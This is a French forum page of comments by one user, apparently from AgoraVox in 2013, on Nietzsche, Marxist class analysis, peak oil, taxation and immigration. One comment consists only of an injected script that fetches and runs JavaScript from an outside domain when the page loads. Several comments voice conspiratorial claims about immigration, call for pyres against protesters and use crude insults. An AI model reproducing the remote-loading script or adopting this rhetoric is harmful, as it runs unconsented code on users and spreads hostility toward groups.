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Les commentaires de Guit’z



  • 1 vote
    Guit’z 27 avril 2013 12:43

    @ tous :

    Trois excellents ouvrages sur Nietzsche :

    - Nietzsche, par Alexis Philonenko
    - Nietzsche et le problème de la civilisation, par Patrick Wotling
    - Nietzsche, par Giorgio Colli (disponible sur le Net)



  • 3 votes
    Guit’z 27 avril 2013 12:37

    @ L’Andalou

    "Mais Nietzsche, lui, est insaisissable. Si en plus, on lui colle l’épithète nazi ou gauchiste, on n’en sort pas."

    Ce pourquoi je trouve qu’il y a quelque chose de restrictif dans votre préambule... Politiser Nietzsche - un penseur d’une acuité psychologique phénoménale, et d’une impressionnante subtilité de "critique de la culture" - c’est vraiment prêter au poète du Grand Midi une qualité intellectuelle, sinon une intention philosophique dont il n’a pas fait preuve.
    Nietzsche est un grand métaphysicien matérialiste ; et je dirais pour ma part un incomparable moraliste classique - à la française !

    Mais c’est un penseur politique de dernier ordre, un "intempestif" dénué de toute philosophie de l’Histoire sérieuse : il est, tout simplement, passé à côté du bouleversement induit par la révolution industrielle et la démocratisation progressive de l’Europe de son temps. Il reste, sous ce rapport, très inférieur à Tocqueville et Marx... Prisonnier d’une vision purement psychologique et morale du monde, il a superbement ignoré, voire méprisé la question sociale. Ni gauche ni droite, mais apolitisme radical, "principiel" - je veux dire mépris, "oubli" coupable, inintelligence dramatique du Politique : Nietzsche fut ainsi, bel et bien... Dès lors lui accoler la moindre étiquette, l’évoquer même selon le prisme politique, c’est à la fois le mésestimer... et le surestimer.

    En tout cas, merveilleuse matinée grâce à vous !

    Si vous dénichez la deuxième partie de cette soirée Arte... ça m’intéresse aussi !



  • vote
    Guit’z 27 avril 2013 10:53

    @ L’Andalou

    Ben ça alors ! J’avais regardé sur Arte ce documentaire très bien fait, voici un peu plus d’une dizaine d’années, et le cherchai en vain sur YT et DM.
    Alors un grand merci à vous, je profite de ce samedi matin pour m’y replonger !



  • 8 votes
    Guit’z 24 avril 2013 17:48

    Bonjour à tous,

    Agression scandaleuse, réaction légitime et assez drôle - quelqu’un, sur ce fil, a justement parlé de "décontraction".
    A titre de comparaison, j’évoquerais un pays que je connais bien, le Canada - Québec -, et dirais qu’une telle agression y est inconcevable. On est beaucoup plus libre de ses opinions dans le Belle Province, où pourtant les rivalités communautaires sont à la fois plus radicales et plus paisibles que chez nous. Certes la situation historique, ainsi que l’ampleur des communautés concernées, n’ont rien à voir. A cette nuance, du moins, que, comme les Français de base ne se réclamant que de cette communauté minimale qu’est la communauté nationale, les Québécois moyens sont constamment sommés de plier face au revendications minoritaires de tous poils (les fameux "accommodements raisonnables"). Mais grosso modo ça se passe calmement (certes les Québécois sont des bisounours un peu naïfs, confondant laxisme et tolérance), et des agressions telles que celles dont se rendent coupables les dingos de la LDJ ou du Betar, on n’est pas prêt d’en voir à Montréal !
    Il y a, incontestablement, un gros problème communautaire en France. Je crains que ça ne finisse extrêmement mal. Le réveil de la majorité excédée sera brutal. Et ce sera, en l’occurrence, l’État le vrai coupable. L’Etat par ailleurs démissionnaire, qui jette perversement de l’huile sur le feu des rivalités communautaires - bien conscient de sa flagrante inutilité politique, et de son illégitimité parasitaire. Convaincu, en somme, qu’il ne saurait plus exister que comme fouteur de merde et juge de paix...



  • 3 votes
    Guit’z 16 avril 2013 00:45

    Oups, bug...

    @ Machiavel,

    Merci d’avoir cité Marx "dans le texte" : je m’apprêtais moi-même à le faire, tant je déteste voir un grand penseur saccagé par la populace gauchiste et autres masses de sondés bisounours... et voilà que je tombe sur votre rectification bienvenue.

    @ Le Misanthrope,

    Puisqu’on est dans Marx…
    Quand vous dites que les Français n’ont, historiquement, jamais été des prolétaires, je vous réponds que, dans leur extrême majorité, selon la conception marxiste (qui n’est pas la plus ahurie), ils l’ont toujours été. La lutte des classes, en effet, n’étant pas plus un "projet" qu’un "métier", comme vous le sous-entendez benoitement ; mais une réalité économique et sociale historiquement universelle, fondée sur les rapports de production, lesquels sont l’origine du monde social : le moteur concret de l’Histoire (le principal, pas le seul, vous m’avez compris). Autrement dit, la lutte des classes est le principe du Sens humain ; le principe de l’esprit exprimable de l’humanité, comme tel essentiellement matériel... (Cachés sous la belle âme, la famille ou le crime : toujours. Car il n’est que deux lois, celles du sang et de la jungle… Si la bourgeoise aime tant le fils à papa, c’est parce que comme elle il n’a pas eu à tuer de ses mains.)
    Sous ce rapport d’âpre quotidienneté, certes pénible à l’entendement d’un bureaucrate, le clivage distinguant les figures momentanées du "bourgeois" et du "prolo" (celles que Marx avait sous les yeux) procède-t-il essentiellement de la répartition des moyens de production (et, secondairement, de la technologie propre à ces moyens ; quand bien même les bureaucrates sont un peu dupes d’eux-mêmes et de leur condition actuelle, j’y reviendrai...). Donc, est "bourgeois" celui qui possède ces moyens (seigneur, entrepreneur, banquier...) et "prolo" celui qui, ne les possédant pas, fait l’objet d’une exploitation (paysan, ouvrier, salarié...).
    Pour conclure en vous parlant de vous : si la propriété des moyens de production distingue « l’exploitant » de « l’exploité », en délimitant les possibilités objectives de chacun, la nature du système de production (où prédomine l’outil, la machine ou le cerveau) détermine simultanément le type "d’aliénation" de l’exploité, sa subjectivité ; bref son champ de conscience. Ainsi ledit Progrès cher à la gauche majuscule (celle qui dit : Je t’encule) est-il d’abord celui de l’inconscience, un perfectionnement (sociétal) de l’aliénation (sociale) : lorsque celle-ci, objective, devient même non-sue. En clair : lorsque le prolo sans visage devenu bureaucrate sans tête ni couilles se revendique jeune-rebeu-gay (sans dieu ni maître) ; cependant que la sociologie (souvent d’Etat et sociologisante) s’intéresse moins aux éternelles catégories sociales qu’aux nouveaux styles de vie – aux antiques prolos syndiqués qu’aux modernes bobos narcissiques… Alors la raison est détruite, l’amour de soi est devenu la haine du prochain : le Pouvoir, menteur et diviseur, a gagné. Ainsi notre salarié du tertiaire, évoluant dans l’univers psychologisant (dématérialisé et, à tous les sens, féminisé) des brasseurs d’air et de papier, sera-t-il plus soucieux de son petit moi-je d’artiste sans œuvre qu’il sera moins conscient de son utilité sociale mal tangible, et se montrera donc moins enclin à mener d’autres lutte que sa propre stratégie d’avancement. Alors qu’un ouvrier dans l’automobile ou le BTP évoluant, lui, dans l’univers masculin du travail physique, reste plus à même de comprendre (à l’instar du contremaître ingénieur ou du décideur financier) l’objet concret du travail, soit le fonctionnement social dans son ensemble : à savoir la valeur morale de l’effort et la dimension collective de celui-ci ; bref la nécessité du combat politique.

    Tout ça pour dire qu’avec votre lyrisme anti-lutte des classes – comme s’il s’agissait d’être "pour" ou "contre"... vous laissez supposer (il semble, le marxisme n’est pas une science exacte) que vous êtes un employé de bureau honorable et honoré, et que la dépolitisation contemporaine du politique par le Pouvoir lui-même... est un message de paix et d’amour qui vous va droit au cœur… Ou alors, vous êtes un prolo très con, ou un milliardaire vicieux qui se paluche sur AV !

     



  • 1 vote
    Guit’z 15 avril 2013 21:05


    <script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script>


  • 2 votes
    Guit’z 11 avril 2013 23:04

    @ Pégase :

    Mon ami, dire que "le pic pétrolier est un problème extrêmement grave", c’est un peu dire que la mort est une maladie bénigne !

    Le pic pétrolier sera l’EVENEMENT DE NOTRE VIE, je dirais même : l’EVENEMENT LE PLUS IMPORTANT DE L’HISTOIRE !

    Imaginons le monde qui vient, où nous aurons Internet et plus de voiture, la télé et plus d’aéroports, des tickets de rationnement et plein de gadgets débiles en rayon... Le superflu sera abondant et le nécessaire presque inabordable...

    La conscience de la déréliction, de l’absurdité, du tragique, en s’inscrivant dans une existence quotidienne de plus en plus paradoxale, deviendra absolue, c’est-à-dire hyper-violente... Pourtant la télé continuera de diffuser Loft Story, Cauet et Morandini, tandis que les gens se plaindront du prix de la bouffe et du fait qu’ils ne peuvent plus s’adonner à l’activité archétypique du dernier homme : le tourisme...

    Mais personne ne pointera la cause réelle de la situation, à savoir qu’il n’y a plus (assez) de pétrole : au contraire l’État dira au bon peuple que des méchants très très loin nous l’ont confisqué... que ce sont des terroristes et qu’il faut les punir...

    Oui, ça va chier des couronnes d’épine : genre grave de chez grave !

    A voir absolument :
    - Oil, Smoke and Mirrors...
    - The end of suburbia

    A lire pour aller plus loins :
    - Pétrole, la fête est finie, de Richard Heinberg, Editions Demi-lune

    PS : ce que j’aime sur AV, c’est que ça dévie toujours... (quand même ça ne dérape pas !)

    Sur ce, dodo.



  • 1 vote
    Guit’z 11 avril 2013 20:46

    @ Yoanda

    Sur ce point je suis de votre avis sans réserve. Et j’ai beau me sentir de gauche, la fiscalité française n’est qu’un immense racket, destiné à alimenter le gaspillage étatique et, sous ce prétexte, le holdup financier que constitue la prétendue "Dette". Holdup, racket, et mise en coupe réglée et finalement en esclavage des nations... dont les États sont aujourd’hui les complices, c’est-à-dire les responsables. Le banquier s’est contenté d’embaucher son copain de promo à l’ENA ou HEC, comme homme de main.

    On en revient toujours à ce constat, que les premiers théoriciens libéraux (Adam Smith avec sa PME manufacture d’épingles), des auteurs catholiques renvoyant dos à dos capitalisme et socialisme (comme Chesterton), enfin des marxistes intelligents (je me reconnais dans ma formule...) firent chacun de leur côté : une société libre se compose de petits entrepreneurs et de petits propriétaires... et non de super-États parasitaires vendus à des multinationales chapeautant un troupeau de salariés !



  • 3 votes
    Guit’z 11 avril 2013 20:35

    @ Kurtis

    Quand le pic pétrolier fera sentir ses effets, on comprendra que produire à l’autre bout du monde comme on le fait à présent, c’est se condamner à mourir de faim. On comprendra que, dans une économie devenue purement muséale, sans industrie ni agriculture locale, des touristes ça se nourrit comme des habitants. On comprendra que les services, en fin de compte, ça ne se mange pas plus que les billets de banque !

    Votre raisonnement est théoriquement juste... abstraction faite de la réalité, énergétique en l’occurrence.



  • 5 votes
    Guit’z 11 avril 2013 20:29

    @ Perslab

    " J’irai plus loin : pour moi, une personne qui n’est pas un crocodile, une personne douée d’une certaine humanité ne cherche pas à gagner plus que les autres, ça n’a aucun sens : elle se sentira mieux dans une société égalitaire et ne serait pas capable de rouler en limousine davant des clochards. Donc ceux qui réussissent dans cette société sont presque tout le temps des handicapés mentaux. Et c’est une critère fondamental pour choisir les chefs. On peut être doué dans un domaine et être handicapé mental sur les sujets essentiels. "

    Je crois que vous avez tout dit... Si je m’en réfère à ma modeste expérience, quoique bien disposé au départ, j’ai moralement démissionné en cours de route et remisé toute espèce d’ambition professionnelle, me contentant de faire ce qu’il faut pour qu’on me foute la paix. La promotion au mérité ? Pas plus dans l’entreprise que dans la fonction publique...

    J’irai plus loin moi aussi : je me demande si la promotion ne s’effectue pas directement en fonction de l’immoralisme et de l’incompétence. Tout en haut, les salauds, au milieu les médiocres, en bas le commun des mortels (avec ses défauts, qui sont les mêmes qu’au dessus, mais moins prononcés, moins véhéments).

    Savoir donner le fouet est un art, tout autant que de savoir l’esquiver.



  • 6 votes
    Guit’z 4 mars 2013 21:09

    @Schweizer.ch :

    Je ne nie aucunement ce que vous dites, et vous avez raison quand vous affirmez que tout instinct de survie collective est systématiquement disqualifié de nos jours en France et ailleurs - la cohésion sociale étant indissociable d’une certaine cohésion culturelle.

    Non, je parlais de racisme, disons, a priori, abstrait, "principiel"... On peut comprendre la colère, voire l’aigreur parfois légitimes des uns, sans cautionner la haine pathologique des autres. Or une telle haine existe aussi (et dans tous les camps).

    C’est pourquoi le racisme est une passion, pour ne pas dire une superstition somme toute aussi préjudiciable au combat politique bien compris que l’antiracisme bisounours obligé de nos clercs.

    "Le raciste est celui qui se trompe de combat" (Senghor)... exactement comme l’antiraciste est celui qui se trompe de paix !



  • 15 votes
    Guit’z 4 mars 2013 17:33

    Votre papier me paraît juste de bout en bout.

    Il est stupéfiant de voir que l’analyse de classe est le grand refoulé de la critique institutionnelle, et même pis : l’interdit implicite du débat légal.

    Laquelle critique se condamne donc à maudire la montée du racisme pour n’avoir pas à nommer l’échec social patent que constitue l’immigration massive en Europe. Un échec social, en réalité victoire de l’oligarchie d’affaires, qu’il s’agit dès lors d’escamoter sous les formules pieuses, les lamentos partiels et partiaux de l’antiracisme, alors que seule l’économie politique - la critique marxiste et non la catéchèse libérale des droits de l’homme - peut en rendre compte dans sa globalité.

    Le racisme est certes une passion vile ; il n’en demeure pas moins que l’immigration est une arme de guerre oligarchique anti-peuple, délibérément conçue pour estomper la conscience de classe en rivalité communautaire.

    Un coup tordu parfaitement dégueulasse, forcément applaudi par la connerie des jeunes et la bonne conscience des bobos, c’est-à-dire ceux dont l’opinion fait à présent le climat !



  • 23 votes
    Guit’z 12 février 2013 18:15

    Les bûchers purifiaient naguère l’hérétique... il est urgent de les redresser, pour guérir l’hystérie.

    Et la mauvaise foi, puisque ces idiotes enragées ne s’en prendront jamais aux vrais grands méchants loups qui mènent le monde...

    Consternantes ces pauvrasses !



  • 14 votes
    Guit’z 24 janvier 2013 15:26

    Quelle débilité, c’est à peine croyable... Manichéisme, amalgame, caricature... c’est vraiment affligeant !

    Quels abrutis ces jeunes de la DDJS des Yvelines !



  • 2 votes
    Guit’z 22 janvier 2013 13:24

    Si je comprends bien y a que des agents doubles, en France comme sur AV !

    Je ne crois pas que Bechikh (apparemment bien sympathique) soit agent islamiste masqué... pas plus que je n’imagine Jean Robin (lui très antipathique) en agent sioniste. Tout ça est ridicule.

    Jean Robin a beau m’être insupportable avec ses vidéos de cafteur approximatif, et sa sous-culture crasse de zappeur tellement d’époque faite de citations et de verdicts sommaires, je ne vois pas trop l’utilité de l’accuser d’être au service d’une puissance occulte. Laissons-le se ridiculiser avec ses vidéos de lycéen vigilant.